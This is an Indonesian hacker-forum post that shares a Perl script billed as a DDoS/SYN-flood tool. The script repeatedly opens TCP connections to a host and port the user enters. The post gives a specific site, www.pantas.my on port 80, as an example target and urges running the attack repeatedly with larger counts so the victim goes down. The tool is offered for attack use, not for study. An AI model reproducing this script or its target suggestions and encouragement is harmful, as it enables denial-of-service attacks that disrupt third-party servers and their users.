coding dikit Dd0s tools !!tutor ( oms scr34mz )

  coding dikit Dd0s tools !!    

langsung aja,,, !!!
ane cuma mau share hasil coding ane yg cupu
berikut sourcenya:

Code:

#!/usr/bin/perl
#scr34mz
system('color a');
system('cls');
print q{
=============================================================

Attack DdoS Indonesian Hacker Team

[+] coded by scr34mz        =>  scr34mz@hack-id.us

[+] Indonesian Hacker Team  =>  www.indonesianhacker.or.id


=== kerusakan yg ditimbulkan adalah perbuatan anda sendiri===

=============================================================


};
 
use IO::Socket; 
 
print "Host: ";{
chop ($host = <stdin>);
print "Port: ";
chop ($port = <stdin>);
print "SYN Requests to send : ";
chop ($num= <stdin>);
}
if(defined($ARGV[2])){ 
$host = $ARGV[0];
$port = $ARGV[1];
$num = $ARGV[2];
}
for ($i=0; $i<$num; $i++)
{
$len = length $form;
$sock = IO::Socket::INET->new (
PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp') || die "$! sorry ! Can't Connect";
syswrite STDOUT, "[+]SYN Request: $i\n";
}
$local_time = localtime();
 
$login = getlogin();
print " hello $login , your attack finish at $local_time\n";

print "All packets sent to $host\n";
 
 print "Press sny key To exit...";
$end = <STDIN>;
chop ($end);

 sebagai contoh, masukan host: www.pantas.my port: 80 dan SYN Request to send: 1000

lalu tekan Enter.

maka

kalo mau lebih dasyat silahkan ulangi beberapa kali dengan SYN Request yg lbh banyak Insya Allah, Mampus tuh yg kena..